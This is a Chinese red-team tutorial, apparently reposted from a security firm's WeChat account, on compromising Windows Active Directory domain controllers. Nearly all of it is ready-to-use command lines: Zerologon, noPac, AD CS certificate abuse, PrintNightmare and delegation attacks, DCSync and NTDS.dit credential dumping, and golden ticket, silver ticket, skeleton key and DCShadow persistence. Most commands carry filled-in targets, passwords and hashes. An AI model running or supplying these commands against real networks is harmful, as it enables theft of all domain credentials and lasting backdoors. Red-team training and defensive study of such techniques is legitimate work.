STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
通用漏洞
使用windows通用漏洞攻击机器获取权限
zerologon
利用CVE-2020-1472 Netlogon协议漏洞置空域机器用户密码,随后进行dcsync。影响2008-2004。注意:置空域机器用户密码会导致域控机器脱域,导致域内依赖ldap提供的服务通信异常,DNS服务异常,需要及时还原
#检测是否存在漏洞
mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$" exit
python zerologon_exploit.py 192.168.10.250 -scan
#利用漏洞重置机器用户密码
mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$ /exploit" exit
python zerologon_exploit.py 192.168.10.250 -exp
#使用机器用户dcsync
python secretsdump.py -no-pass -just-dc qaq/TEST$@192.168.10.250
python3 secretsdump.py -no-pass -just-dc qaq/TEST$@192.168.10.250 #根据系统特性可能需要转义$
#从SAM文件中恢复机器用户密码
mimikatz.exe "lsadump::postzerologon /target:qaq.com /account:TEST$ " exit #不能代理执行
python zerologon_exploit.py 192.168.10.250 -recover
nopac
利用CVE-2021-42278 sAMAccountName名绕过漏洞和CVE-2021-42287 kerberos TGS认证漏洞组合利用,创建机器用户S4U2self生成域管权限ST。影响:windows 2008-2022。需要域账户
-
sam-the-admin
python3 sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250 -debug
python3 sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250 -dump -debug #dcsync
python3 sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250 -shell -debug
-
nopac
#检测漏洞
noPac.exe scan -domain qaq.org -user admin -pass 'Aa123456'
#利用漏请求域管用户 cifs服务ST,用于访问共享
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
#利用漏请求域管用户 ldap服务ST,用于dcsync
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt
#利用漏请求域管用户HOST/RPCSS服务ST,用于执行命令。远程利用可
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service HOST /ptt
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service RPCSS /ptt
#远程利用导出注入LDAP dcsync,先用MIMIkatz导出票据
python ticket_converter.py ticket.kirbi ticket.ccache #kirbi转换为impacket ccache票据格式
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc
CVE-2022-26923
利用CVE-2022-26923 ADcs提权漏洞,创建机器用户并修改dNSHostName属性(DNS属性)为域控机器名,申请域控机器账户的证书然后进行dcsync。需要域内凭证。影响windows 2008-2022。
-
Certipy
定位adcs
certutil -dump -v
certipy find "qaq.org/test:[email protected]" -debug #域外
#创建机器用户 dns属性设为域控机器名
certipy account create "qaq.org/admin:[email protected]" -dc-ip 192.168.11.250 -user "aaaa" -dns "test5-2012.qaq.org" -debug
#申请创建的机器账户证书,-ca为CA Name,target为CA host
certipy req -dc-ip 192.168.11.250 "qaq.org/aaaa$:udA3HVjoph9vHbNz@test5-2012.qaq.org" -ca qaq-TEST5-2012-CA -template Machine -debug
#使用证书发起kerberos认证获取域控机器账户hash
certipy auth -pfx test5-2012.pfx -dc-ip 192.168.11.250 -debu
python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089 qaq/test5-2012$@192.168.11.250 -just-dc
PrintNightmare
利用CVE-2021-1675 打印机服务漏洞加载DLL执行代码。影响2008-2019。需要域内凭证,实测2016和2019可利用成功
使用impacket rpcdump.py脚本检测print spooler服务
python rpcdump.py 192.168.10.250 | findstr MS-RPRN
python rpcdump.py 192.168.10.250 | findstr MS-PAR
将dll放在共享目录,设置成可匿名访问,利用打印机服务需要一个域内凭证,域控需要获取DLL
linux 安装samba服务设置smb共享
#windows 设置文件共享服务器
#设置匿名SMB共享
powershell -exec bypass -command "&{ import-module .Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:share -Mode Enable}"
#关闭
powershell -exec bypass -command "&{ import-module .Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:share -Mode Disable}
python CVE-2021-1675.py qaq.com/admin:Aa123456@192.168.10.250 '\192.168.10.104smbadduserx64.dll'
SharpPrintNightmare.exe '\192.168.10.104smbadduserx64.dll' '\192.168.10.250'
SharpPrintNightmare.exe '\192.168.10.104smbadduserx64.dll' '\192.168.10.250' qaq.com admin Aa123456
SharpPrintNightmare.exe c:adduserx64.dl #本地提权
ms14-068
利用CVE-2014-6324漏洞,申请用户TGT修改PAC为域管权限,获取域控权限。需要一个域内凭证
#会生成ccache票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc
ms17-010
使用ms17-010漏洞攻击域控制器获取权限。存在杀软导致ms17-010利用失败时,可使用匿名管道或一个普通用户凭证发payload绕过杀软
攻击PC终端可能会导致蓝屏重启
BlueKeep
利用cve-2019-0708 RDP远程代码执行漏洞获取权限,可能会蓝屏
利用:
https://github.com/cbwang505/CVE-2019-0708-EXP-Windows
https://github.com/RICSecLab/CVE-2019-0708
metasploit cve-2019-0708 exp模块
SMBGhost
利用CVE-2020-0796 SMB v3远程代码执行漏洞获取权限,可能会蓝屏。只影响Windows 10 1903-1909
利用:
https://github.com/ZecOps/CVE-2020-0796-RCE-POC
metasploit CVE-2020-0796 exp模块
委派攻击
非约束委派
拿到非约束委派服务机器权限后,dump lsass进程票据,寻找域管票据。或者诱导域控访问非约束委派服务,然后抓域管TGT
监听认证请求,也可以直接dump lsass票据
#监听来自域控机器账户的TGT认证请求
Rubeus.exe monitor /interval:1 /filteruser:test$
Rubeus.exe ptt /ticket:base64 #注入
-
利用spooler打印机bug漏洞强制域控请求
2012 R2以上可利用成功,2012 r2以下版本不在rpc中暴露Spooler服务
SpoolSample.exe 目标主机名 回连主机名
python dementor.py -d domain -u username -p password 回连ip 目标ip
python3 printerbug.py qaq.com/admin:"Aa123456"@192.168.10.250 回连主机
-
利用PetitPotam MS-EFSRPC远程文件加密协议漏洞强制域请求
2008-2012可匿名触发,其他版本需要域内凭证
python3 PetitPotam.py -d qaq.org -u admin -p Aa123456 WIN-7GPBH5JIVUL.qaq.org 192.168.11.250
PetitPotam.exe WIN-7GPBH5JIVUL.qaq.org 192.168.11.250 1
约束委派
拿到约束委派服务账户凭证后,利用S4U2协议申请委派的机器服务票据。只能申请委派指定机器、委派指定服务的票据
-
impacket 利用
#使用约束委派服务账户 申请域管用户的LDAP服务票据
python getST.py -dc-ip 192.168.11.250 -spn ldap/test5-2012.qaq.org -impersonate administrator qaq.org/WIN-7GPBH5JIVUL$ -hashes ca76767743d85196fa610bd2f1c9d48e:ca76767743d85196fa610bd2f1c9d48e
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc -outputfile qaq
-
使用kekeo利用
1.先申请约束委派服务账户TGT
kekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /password:Aa123456" exit
kekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /NTLM:ca76767743d85196fa610bd2f1c9d48e" exit
2.S4U2self协议申请域管账户访问本机的ST1,S4U2proxy协议申请域管访问域控的LDAP ST2票据
#会生成二个票据,ST1和st2
kekeo.exe "tgs::s4u /tgt:1.kirbi /user:[email protected] /service:ldap/test5-2012.qaq.org" exit
mimikatz.exe "kerberos::ptt ldap.kribi" exit
mimikatz.exe "lsadump::dcsync /domain:qaq.org /dc:test5-2012.qaq.org /csv /all" exit
资源约束委派
配置机器主机属性msDS-AllowedToActOnBehalfOfOtherIdentity值,配置机器资源委派属性。然后利用S4U2协议申请票据获取权限
1.配置资源委派属性
新建机器用户
#创建机器用户
powershell -exec bypass "&{import-module .Powermad.ps1; New-MachineAccount -MachineAccount xxx -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose }"
#查询新建机器的SID
powershell -exec bypass "&{import-module .powerview.ps1; Get-DomainComputer xxx -Properties objectsid | Select -Expand objectsid}"
2.修改msds-allowedtoactonbehalfofotheridentity属性为新建的机器用户SID
powershell -exec bypass
import-module .powerview.ps1;
#修改msds-allowedtoactonbehalfofotheridentity属
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-476141730-3945430675-3953811658-1198)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win-2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#查询msds-allowedtoactonbehalfofotheridentity属性
Get-DomainComputer win-2012 -Properties msds-allowedtoactonbehalfofotheridentity
#清空msds-allowedtoactonbehalfofotheridentity属性
Set-DomainObject win-2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
#查询所有机器的msds-allowedtoactonbehalfofotheridentity属性
powershell -exec bypass "&{import-module .powerview.ps1; Get-NetComputer | Select-Object -Property name,msds-allowedtoactonbehalfofotheridentity}"
3.发起S4u2请求
-
impacket 利用
#利用s4u2协议域管用户访问机器的票据
python getST.py -dc-ip 192.168.11.250 -spn cifs/win-2012.qaq.org -impersonate administrator qaq.org/xxx$:123456
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k WIN-2012.qaq.org -dc-ip 192.168.11.250
-
Rubeus利用
dump lsass获取域账户的kerberos rc4-hmac字段
知道域账户密码明文,也可以生成kerberos rc4-hmac字段
Rubeus.exe hash /user:xx /password:Aa123456 /domain:qaq.org
#利用s4u2协议域管用户访问机器的票据,并注入
Rubeus.exe s4u /user:test /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/WIN-7GPBH5JIVUL.qaq.org /ptt
域管凭证
1.查询域管组账户登录的非域控机器,定向攻击成功后dump lsass拿域管凭证
2.查询域控登录的会话session,定向攻击这些账户;
ACL
查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限
重点是域对象DACL,域管组/域管DACL,域控DACL
域控信息收集
获取到域控权限后,收集域控制器的有效信息,以便进行扩大战果
-
dcsync
python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089 qaq/test5-2012$@192.168.11.250 -outputfile qaq
python secretsdump.py qaq/administrator:Aa123456@192.168.10.250 -outputfile qaq
python secretsdump.py qaq/administrator:Aa123456@192.168.10.250 -outputfile qaq
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc -outputfile qaq
mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /csv /all" exit
mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /user:krbtgt /csv " exit
-
ntds
#使用vssadmin创建卷影备份
vssadmin create shadow /for=C:
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy12windowsNTDSntds.dit C:ntds.dit
vssadmin delete shadows /for=C: /quiet
#导出system
reg save hklmsystem c:system.hive
#读取ntds
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
-
日志
导出域控登录认证日志,定位用户登录的机器名
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:2000 > EvtLogon.dat
然后用python脚本处理导出的筛选日志
-
DNS
通过DNS Manager获取DNS记录
Dnscmd.exe . /EnumZones #列出区域
Dnscmd . /ZoneInfo qaq.org #列出区域
Dnscmd . /ZonePrint qaq.org #列出指定区域记录
当获取域管组用户凭证时,远程通过DNS Manager读取DNS记录
在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:
1.dnscmd保存在路径C:WindowsSystem32下
2.dnscmd.exe.mui保存在C:WindowsSystem32en-US下(该位置比较通用,也可以在其他位置)
使用mimikatz注入域管凭证,然后使用Dnscmd 远程读取DNS记录
Dnscmd test5-2012.qaq.org /EnumZones
Dnscmd test5-2012.qaq.org . /ZonePrint qaq.org
域持久化
Skeleton key
通过在域控制器上安装Skeleton key注入Lsass进程内存,使所有域用户可使用一个密码(原密码仍有效)。域控重启失效
#密码mimikatz
mimikatz.exe "privilege::debug" "misc::skeleton" exit
黄金票据
在拥有krbtg 用户的ntlm-hash值后,可以伪造任意用户的TGT(as请求)
mimikatz.exe "kerberos::golden /user:administrator /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /krbtgt:a61897c242cd389e6a6ba05b7b99fcda /ticket:gold.kirbi" exit
mimikatz.exe "kerberos::purge" "kerberos::ptt gold.kirbi" exit
白银票据
在拥有服务账户的ntlm-hash值后,可以伪装任意用户访问该服务的ST(TGS请求)
#执行命令需要HOST 和RPCSS服务
mimikatz.exe "kerberos::golden /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /target:test.qaq.com /rc4:eb62a802b02097cc0ec0de4c0815ac10 /service:cifs /user:administrator /ptt" exit
影子凭据
shadow credential攻击。需要2016域功能级别,开启AD CS或者CA。
写入目标对象的msDS-KeyCredentialLink属性,给目标对象添加公钥。利用PKINIT证书验证方式使用私钥请求目标对象TGT,也可以获取目标对象的NTLM-hash。
影子凭据 批量利用工具:
https://github.com/Dec0ne/ShadowSpray
AdminSDHolder
AdminSDHolder是位于Active Directory中的系统分区(CN=AdminSDHolder,CN=System,DC=test,DC=loca)中的一个对象,作为域内一些特权组的安全模版。有一个进程(SDProp),每隔60分钟运行一次,将这个对象的ACL复制到某些特权组成员的对象的ACL里面去。
一般用于后门,新增一条ACE到AdminSDHolder对象,60分钟后ace规则会同步到特权组,ACE授权的用户也具有特权组资源的访问权限
DCShadow
dcshadow攻击。伪装成DC,让正常DC通过伪造的DC中复制数据,从而修改LDAP达到指定目的。dcysnc是从dc同步数据,dcshadow是伪装成dc让正常DC复制数据。
-
mimikatz添加域管账户
1.使用mimikatz更改配置架构和注册SPN值,伪装成dc,修改primarygroupid属性添加域管账户
!+ #注册并启动一个具有system权限的任务
!processtoken #获取system权限令牌
lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:primarygroupid /value:512 #将对象的primarygroupid属性修改为512
或者是给对象添加sidhistory后门
lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500
2.新开窗口域管权限运行mimikatz,其他dc同步修改的数据
lsadump::dcshadow /push
SeEnableDelegationPrivilege
SeEnableDelegationPrivilege:信任计算机和用户可以委派,默认只有域Administrators组才有。实战中不多见,一般用于拿到域控权限后用作权限维持。配置了SeEnableDelegationPrivilege特权的用户,就可以进行委派攻击任意机器。需要通过组策略配置SeEnableDelegationPrivilege特权
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):连载:红队知识体系梳理-攻击域控制器